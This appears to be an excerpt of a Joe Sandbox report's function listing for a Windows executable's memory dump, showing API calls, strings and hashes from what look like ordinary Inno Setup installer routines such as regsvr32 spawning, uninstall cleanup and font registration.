Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Color$StretchText
String ID:
API String ID: 2984075790-0
Opcode ID: 96642afef6407557abda8c1cb6f38d9a010b32914ce32b6cc36c1a5a9073b633
Instruction ID: 5791d4d8e51028595b948ed591e6ff6c43c29dc3dd821c9bc5bae20fa008be23
Opcode Fuzzy Hash: 96642afef6407557abda8c1cb6f38d9a010b32914ce32b6cc36c1a5a9073b633
Instruction Fuzzy Hash: F661E5B5A00104EFCB40EFA9D985E9AB7F8AF0D314B10816AF518DB252C734ED41CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00455F7C Relevance: 13.6, APIs: 1, Strings: 8, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 0042D7A0: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D7B3

CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,00456130,?, /s ",?,regsvr32.exe",?,00456130), ref: 004560A2

Strings

Spawning 64-bit RegSvr32: , xrefs: 00456007
/s ", xrefs: 00455FEB
CreateProcess, xrefs: 00456094
Spawning 32-bit RegSvr32: , xrefs: 00456029
/u, xrefs: 00455FDE
0x%x, xrefs: 004560C5
regsvr32.exe", xrefs: 00455FC3
D, xrefs: 00456058

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseDirectoryHandleSystem
String ID: /s "$ /u$0x%x$CreateProcess$D$Spawning 32-bit RegSvr32: $Spawning 64-bit RegSvr32: $regsvr32.exe"
API String ID: 2051275411-1862435767
Opcode ID: 1ae4d1559c225658233d195df01a5ac76f1bcba5e74ca4c9dacf9a152af87d32
Instruction ID: 1b1342de70b8511bd96e109cd760b193c6bc6e2768a22c9f7c7172ce61990ba6
Opcode Fuzzy Hash: 1ae4d1559c225658233d195df01a5ac76f1bcba5e74ca4c9dacf9a152af87d32
Instruction Fuzzy Hash: 95411970E007085BDB10EFE5C842B9DB7F9AF44305F91407BA904BB297D7789A098B59

Uniqueness

Uniqueness Score: -1.00%

Function 0044CA0C Relevance: 13.6, APIs: 9, Instructions: 90COMMON

Download Yara Rule

APIs

OffsetRect.USER32(?,00000001,00000001), ref: 0044CA3D
GetSysColor.USER32(00000014), ref: 0044CA44
SetTextColor.GDI32(00000000,00000000), ref: 0044CA5C
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044CA85
OffsetRect.USER32(?,000000FF,000000FF), ref: 0044CA8F
GetSysColor.USER32(00000010), ref: 0044CA96
SetTextColor.GDI32(00000000,00000000), ref: 0044CAAE
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044CAD7
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044CB02

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Text$Color$Draw$OffsetRect
String ID:
API String ID: 1005981011-0
Opcode ID: 9e5c892965933efe92cb1196a4cf079dced8b69e9bfa1b103b040bba4ee2a0e0
Instruction ID: 79e5725ec2e75caab84353522faa1c644d19f3f9c4a46f72b84b259f8bdbd55b
Opcode Fuzzy Hash: 9e5c892965933efe92cb1196a4cf079dced8b69e9bfa1b103b040bba4ee2a0e0
Instruction Fuzzy Hash: 3921EFB42015047FC710FB2ACC8AE8BBBECDF19319B01457A7918EB393C678DD408669

Uniqueness

Uniqueness Score: -1.00%

Function 00472E88 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 92windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00472DB0: GetWindowThreadProcessId.USER32(00000000), ref: 00472DB8
Part of subcall function 00472DB0: GetModuleHandleA.KERNEL32(user32.dll,AllowSetForegroundWindow,00000000,?,?,00472EAF,00494F8C,00000000), ref: 00472DCB
Part of subcall function 00472DB0: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00472DD1

SendMessageA.USER32(00000000,0000004A,00000000,B2G), ref: 00472EBD
GetTickCount.KERNEL32 ref: 00472F02
GetTickCount.KERNEL32 ref: 00472F0C
MsgWaitForMultipleObjects.USER32(00000000,00000000,00000000,0000000A,000000FF), ref: 00472F61

Strings

CallSpawnServer: Unexpected status: %d, xrefs: 00472F4A
CallSpawnServer: Unexpected response: $%x, xrefs: 00472EF2
B2G, xrefs: 00472EAF, 00472EB2

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CountTick$AddressHandleMessageModuleMultipleObjectsProcProcessSendThreadWaitWindow
String ID: B2G$CallSpawnServer: Unexpected response: $%x$CallSpawnServer: Unexpected status: %d
API String ID: 613034392-3430418260
Opcode ID: 83606b9c116b6885daef421b7b8e00522d494f7ddc4e48254dfbdcdd32f55c78
Instruction ID: 8c95786dad12656d13a73ee76c7a4d3a126e112e6abc10061d0091179ba2d091
Opcode Fuzzy Hash: 83606b9c116b6885daef421b7b8e00522d494f7ddc4e48254dfbdcdd32f55c78
Instruction Fuzzy Hash: 00319174E002159ADB10EBB9C9867EEB6F09F44304F60843AF548EB392D7BC8E41879D

Uniqueness

Uniqueness Score: -1.00%

Function 00490414 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 90sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 0044FE04: SetEndOfFile.KERNEL32(?,?,0045A666,00000000,0045A7F1,?,00000000,00000002,00000002), ref: 0044FE0B

Part of subcall function 00406EB8: DeleteFileA.KERNEL32(00000000,00494628,00492509,00000000,0049255E,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406EC3

GetWindowThreadProcessId.USER32(00000000,?), ref: 004904A5
OpenProcess.KERNEL32(00100000,00000000,?,00000000,?), ref: 004904B9
SendNotifyMessageA.USER32(00000000,0000054D,00000000,00000000), ref: 004904D3
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,0000054D,00000000,00000000,00000000,?), ref: 004904DF
CloseHandle.KERNEL32(00000000,00000000,000000FF,00000000,0000054D,00000000,00000000,00000000,?), ref: 004904E5
Sleep.KERNEL32(000001F4,00000000,0000054D,00000000,00000000,00000000,?), ref: 004904F8

Strings

Deleting Uninstall data files., xrefs: 0049041B

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: FileProcess$CloseDeleteHandleMessageNotifyObjectOpenSendSingleSleepThreadWaitWindow
String ID: Deleting Uninstall data files.
API String ID: 1570157960-2568741658
Opcode ID: 3a7a3c4f988273c5faf0984e358184faf661e247c75e3eb8a852b62590ab03d6
Instruction ID: c015f2c418b27fe41d2ce248e3be245557a268e7959eb0275d209c4c83f57638
Opcode Fuzzy Hash: 3a7a3c4f988273c5faf0984e358184faf661e247c75e3eb8a852b62590ab03d6
Instruction Fuzzy Hash: DB21BB70344700AEEB21EB76EC55F2B77A8EB55744F60453BBA04DA6D2D6BC9C008B1C

Uniqueness

Uniqueness Score: -1.00%

Function 0046BC24 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 89registrywindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047DDF7,?,00000001,?,?,0047DDF7,?,00000001,00000000), ref: 0042DC70

RegSetValueExA.ADVAPI32(?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,0046BD21,?,?,?,?,00000000), ref: 0046BC8B
RegCloseKey.ADVAPI32(?,?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,0046BD21), ref: 0046BCA2
AddFontResourceA.GDI32(00000000), ref: 0046BCBF
SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 0046BCD3

Strings

Failed to set value in Fonts registry key., xrefs: 0046BC94
Failed to open Fonts registry key., xrefs: 0046BCA9
AddFontResource, xrefs: 0046BCDD

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseFontMessageNotifyOpenResourceSendValue
String ID: AddFontResource$Failed to open Fonts registry key.$Failed to set value in Fonts registry key.
API String ID: 955540645-649663873
Opcode ID: 7a6271196282a98db9218d46e73dadc0b019169c58c33c438b6e42a7b698be6e
Instruction ID: 8028dfed4777ef4cba2b708c37a4b099d1cdf5d3aae4b1ac28208e9a303e9908
Opcode Fuzzy Hash: 7a6271196282a98db9218d46e73dadc0b019169c58c33c438b6e42a7b698be6e
Instruction Fuzzy Hash: E121B2707402047BE710EBA69C42F6E67ACDB55704F60443BB900EB2C2EB7D9E4596AE

Uniqueness

Uniqueness Score: -1.00%

Function 0045F330 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00416380: GetClassInfoA.USER32(00400000,?,?), ref: 004163EF
Part of subcall function 00416380: UnregisterClassA.USER32(?,00400000), ref: 0041641B
Part of subcall function 00416380: RegisterClassA.USER32(?), ref: 0041643E

GetVersion.KERNEL32 ref: 0045F360
SendMessageA.USER32(00000000,0000112C,00000004,00000004), ref: 0045F39E
SHGetFileInfo.SHELL32(0045F43C,00000000,?,00000160,00004011), ref: 0045F3BB
LoadCursorA.USER32(00000000,00007F02), ref: 0045F3D9
SetCursor.USER32(00000000,00000000,00007F02,0045F43C,00000000,?,00000160,00004011), ref: 0045F3DF
SetCursor.USER32(?,0045F41F,00007F02,0045F43C,00000000,?,00000160,00004011), ref: 0045F412

Strings

Explorer, xrefs: 0045F37A

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ClassCursor$Info$FileLoadMessageRegisterSendUnregisterVersion
String ID: Explorer
API String ID: 2594429197-512347832
Opcode ID: 5c897608954e0c34f46d57c9c9468377b08e724fc1c9a15d7250c0687c3dca48
Instruction ID: 84e95c20810325967785af02823865f4c58c42daffe30e25327ba0847e04abb2
Opcode Fuzzy Hash: 5c897608954e0c34f46d57c9c9468377b08e724fc1c9a15d7250c0687c3dca48
Instruction Fuzzy Hash: 01213A707803046AE710BB769C47F9B36889B0A709F4144BFBF05EA2C3CA7D8C09866D

Uniqueness

Uniqueness Score: -1.00%

Function 00401A90 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(00494420,00000000,00401B68), ref: 00401ABD
LocalFree.KERNEL32(00653390,00000000,00401B68), ref: 00401ACF
VirtualFree.KERNEL32(?,00000000,00008000,00653390,00000000,00401B68), ref: 00401AEE
LocalFree.KERNEL32(00654390,?,00000000,00008000,00653390,00000000,00401B68), ref: 00401B2D
RtlLeaveCriticalSection.KERNEL32(00494420,00401B6F), ref: 00401B58
RtlDeleteCriticalSection.KERNEL32(00494420,00401B6F), ref: 00401B62

Strings

dIe, xrefs: 00401B11

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID: dIe
API String ID: 3782394904-2902252405
Opcode ID: ca3664eef181b3c450eb25f8da65eda267e6af06c45086156d65a8afb80b51bf
Instruction ID: e723898d31bd980d44dc420abd38e4993862ec3455be7bfe2ac2130caf5f6e99
Opcode Fuzzy Hash: ca3664eef181b3c450eb25f8da65eda267e6af06c45086156d65a8afb80b51bf
Instruction Fuzzy Hash: 9D11BF30A003405AEB15AB65EC82F263BE497E570CF44007BF50067AF1D77C9842C76E

Uniqueness

Uniqueness Score: -1.00%

Function 00458160 Relevance: 12.1, APIs: 1, Strings: 7, Instructions: 121COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,004582E2,?,00000000,00000000,00000000,?,00000006,?,00000000,00491717,?,00000000,004917BA), ref: 00458226

Part of subcall function 00452C34: FindClose.KERNEL32(000000FF,00452D2A), ref: 00452D19

Strings

Failed to delete directory (%d). Will retry later., xrefs: 0045823F
Failed to strip read-only attribute., xrefs: 004581F4
Not stripping read-only attribute because the directory does not appear to be empty., xrefs: 00458200
Deleting directory: %s, xrefs: 004581AF
Failed to delete directory (%d)., xrefs: 004582BC
Stripped read-only attribute., xrefs: 004581E8
Failed to delete directory (%d). Will delete on restart (if empty)., xrefs: 0045829B

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseErrorFindLast
String ID: Deleting directory: %s$Failed to delete directory (%d).$Failed to delete directory (%d). Will delete on restart (if empty).$Failed to delete directory (%d). Will retry later.$Failed to strip read-only attribute.$Not stripping read-only attribute because the directory does not appear to be empty.$Stripped read-only attribute.
API String ID: 754982922-1448842058
Opcode ID: 86182c70a77fd2d711cf7b3f935fad52ad940f5dc0f2bb935dd50f6a8db30579
Instruction ID: a7040656d29ea07138429a65227d1fe8661808dade238f8de5d3983c6959866f
Opcode Fuzzy Hash: 86182c70a77fd2d711cf7b3f935fad52ad940f5dc0f2bb935dd50f6a8db30579
Instruction Fuzzy Hash: DE41A630A046499ACB00DBA984453BF7AA59B49306F5085BFBC11FB393CF7C890D875E

Uniqueness

Uniqueness Score: -1.00%

Function 00422DC0 Relevance: 12.1, APIs: 8, Instructions: 119windowCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 00422E14
GetCapture.USER32 ref: 00422E23
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 00422E29
ReleaseCapture.USER32 ref: 00422E2E
GetActiveWindow.USER32 ref: 00422E3D
SendMessageA.USER32(00000000,0000B000,00000000,00000000), ref: 00422EBC
SendMessageA.USER32(00000000,0000B001,00000000,00000000), ref: 00422F20
GetActiveWindow.USER32 ref: 00422F2F

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CaptureMessageSend$ActiveWindow$Release
String ID:
API String ID: 862346643-0
Opcode ID: 712e39948fd123bd0944784c1e4209bda02e8cd1285bd6ba2bce8578b7203805
Instruction ID: 6da1d0135b9d11ce9028ca126f5481e792b9d420ac57a31bdf33f6cc8c40a84a
Opcode Fuzzy Hash: 712e39948fd123bd0944784c1e4209bda02e8cd1285bd6ba2bce8578b7203805
Instruction Fuzzy Hash: 83414370B00254AFDB10EBA9DA46B9D77F1EF45304F5540BAF404AB3A2D7B89E41DB18

Uniqueness

Uniqueness Score: -1.00%

Function 004293F0 Relevance: 12.1, APIs: 8, Instructions: 62COMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000), ref: 004293FA
GetTextMetricsA.GDI32(00000000), ref: 00429403

Part of subcall function 0041A158: CreateFontIndirectA.GDI32(?), ref: 0041A217

SelectObject.GDI32(00000000,00000000), ref: 00429412
GetTextMetricsA.GDI32(00000000,?), ref: 0042941F
SelectObject.GDI32(00000000,00000000), ref: 00429426
73A1A480.USER32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0042942E
GetSystemMetrics.USER32(00000006), ref: 00429453
GetSystemMetrics.USER32(00000006), ref: 0042946D

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Metrics$ObjectSelectSystemText$A480A570CreateFontIndirect
String ID:
API String ID: 361401722-0
Opcode ID: b2aa10e7b7089fe9610b7b0ad8d25b91e96a29c2a8d1cae1ffdab2385f8086cd
Instruction ID: 2396e8ac942ab906a208d8077257e147ebb5126c2b98df3f18c4b625c9a01c14
Opcode Fuzzy Hash: b2aa10e7b7089fe9610b7b0ad8d25b91e96a29c2a8d1cae1ffdab2385f8086cd
Instruction Fuzzy Hash: 3D0104917087103BF710B2B69CC2F6B6188DB9435DF44013FFA469A3D3D56C8C45866A

Uniqueness

Uniqueness Score: -1.00%

Function 0041DD94 Relevance: 12.1, APIs: 8, Instructions: 60windowCOMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000,?,00418FC9,0049295D), ref: 0041DD97
73A24620.GDI32(00000000,0000005A,00000000,?,00418FC9,0049295D), ref: 0041DDA1
73A1A480.USER32(00000000,00000000,00000000,0000005A,00000000,?,00418FC9,0049295D), ref: 0041DDAE
MulDiv.KERNEL32(00000008,00000060,00000048), ref: 0041DDBD
GetStockObject.GDI32(00000007), ref: 0041DDCB
GetStockObject.GDI32(00000005), ref: 0041DDD7
GetStockObject.GDI32(0000000D), ref: 0041DDE3
LoadIconA.USER32(00000000,00007F00), ref: 0041DDF4

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ObjectStock$A24620A480A570IconLoad
String ID:
API String ID: 3573811560-0
Opcode ID: a00a97ecbf7073f89d6e04e837562f06262f280598315b13768e927efd87297b
Instruction ID: 26d2215c38f7902349b80dbd4a09bdf013e3c627cae683e10812a8645452cf50
Opcode Fuzzy Hash: a00a97ecbf7073f89d6e04e837562f06262f280598315b13768e927efd87297b
Instruction Fuzzy Hash: 381160B06403415AE700BF659892FA63790DBA5709F00813FF208AF2D2CB7E0C058B5E

Uniqueness

Uniqueness Score: -1.00%

Function 0045F740 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 273COMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00007F02), ref: 0045F844
SetCursor.USER32(00000000,00000000,00007F02,00000000,0045F8D9), ref: 0045F84A
SetCursor.USER32(?,0045F8C1,00007F02,00000000,0045F8D9), ref: 0045F8B4

Strings

, xrefs: 0045FADA
, xrefs: 0045FABF
Internal error: Item already expanding, xrefs: 0045F7E1

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Cursor$Load
String ID: $ $Internal error: Item already expanding
API String ID: 1675784387-1948079669
Opcode ID: 374c6eee6dd7c05d3ed29aecb3c07f8607bfbe119cdd536ef1ba66e3ece505ba
Instruction ID: bc19f93f64f4cfd3b6c64fbb5e4444054adc2e78d3f14390eea5280ae24d604a
Opcode Fuzzy Hash: 374c6eee6dd7c05d3ed29aecb3c07f8607bfbe119cdd536ef1ba66e3ece505ba
Instruction Fuzzy Hash: BAB16B34A006449FDB10DF69C585B9ABBF5AF04305F2484BAEC499B793C778AD4CCB1A

Uniqueness

Uniqueness Score: -1.00%

Function 00452590 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 225COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00452677

Strings

MoveFileEx, xrefs: 00452887
.tmp, xrefs: 00452633
NUL, xrefs: 00452739
[rename], xrefs: 004526DA, 00452716
WININIT.INI, xrefs: 00452625

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID: .tmp$MoveFileEx$NUL$WININIT.INI$[rename]
API String ID: 390214022-3304407042
Opcode ID: 17577b0f8582e5cf7f857e8520d0c40de0327dd1c60d8c6587b1496694d50cfd
Instruction ID: abf6614f95991f047cbf872b8675d76fa93f36fd66684b0017750e1831af6413
Opcode Fuzzy Hash: 17577b0f8582e5cf7f857e8520d0c40de0327dd1c60d8c6587b1496694d50cfd
Instruction Fuzzy Hash: DB910174A002099BDF01EFA5D942BDEB7B5AF49305F50816BE800B7396D7B85E09CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004549F8 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 178COMMON

Download Yara Rule

APIs

756FE550.OLE32(00493A3C,00000000,00000001,00493774,?,00000000,00454BEE), ref: 00454A34

Part of subcall function 00403CA4: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
Part of subcall function 00403CA4: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9

756FE550.OLE32(00493764,00000000,00000001,00493774,?,00000000,00454BEE), ref: 00454A58
SysFreeString.OLEAUT32(00000000), ref: 00454BB3

Strings

IShellLink::QueryInterface, xrefs: 00454B2B
IPersistFile::Save, xrefs: 00454B85
CoCreateInstance, xrefs: 00454A63

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: E550String$AllocByteCharFreeMultiWide
String ID: CoCreateInstance$IPersistFile::Save$IShellLink::QueryInterface
API String ID: 2757340368-615220198
Opcode ID: 10b61ca11c913b85dd018bfca0bd87c493ce64892769d21c1277a1ff95bb23bd
Instruction ID: e28da0ffaceb01cee804717922773e9a91ffd05ea7c596c2a735a488419d39cb
Opcode Fuzzy Hash: 10b61ca11c913b85dd018bfca0bd87c493ce64892769d21c1277a1ff95bb23bd
Instruction Fuzzy Hash: 14513371A40105AFDB40DFA9C885F9E7BF8EF4970AF014066B904EB252DB78ED48CB19

Uniqueness

Uniqueness Score: -1.00%

Function 00408688 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 167COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,004088D0,?,?,?,?,00000000,00000000,00000000,?,004098D7,00000000,004098EA), ref: 004086A2

Part of subcall function 004084D0: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,004944C0,00000001,?,0040859B,?,00000000,0040867A), ref: 004084EE

Part of subcall function 0040851C: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0040871E,?,?,?,00000000,004088D0), ref: 0040852F

Strings

m/d/yy, xrefs: 00408771
mmmm d, yyyy, xrefs: 00408793
:mm:ss, xrefs: 0040889E
AMPM, xrefs: 0040886D
:mm, xrefs: 00408884

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: InfoLocale$DefaultSystem
String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
API String ID: 1044490935-665933166
Opcode ID: 9362ec8491f342d5e9289923679bf7722b3cc2aaffa74b6a8b68c84bdd1720ec
Instruction ID: bc7079e0a6f451a0b148bd409c2e0f1595c2818476049878c3843938bdef3741
Opcode Fuzzy Hash: 9362ec8491f342d5e9289923679bf7722b3cc2aaffa74b6a8b68c84bdd1720ec
Instruction Fuzzy Hash: EB514B34B002486BDB00FAA6C941B9F77A9DB94308F50D47FA141BB3C6CA3DCA06971D

Uniqueness

Uniqueness Score: -1.00%

Function 00411664 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 158windowCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,00411869), ref: 004116FC
InsertMenuItemA.USER32(?,000000FF,00000001,0000002C), ref: 004117BA

Part of subcall function 00411A1C: CreatePopupMenu.USER32 ref: 00411A36

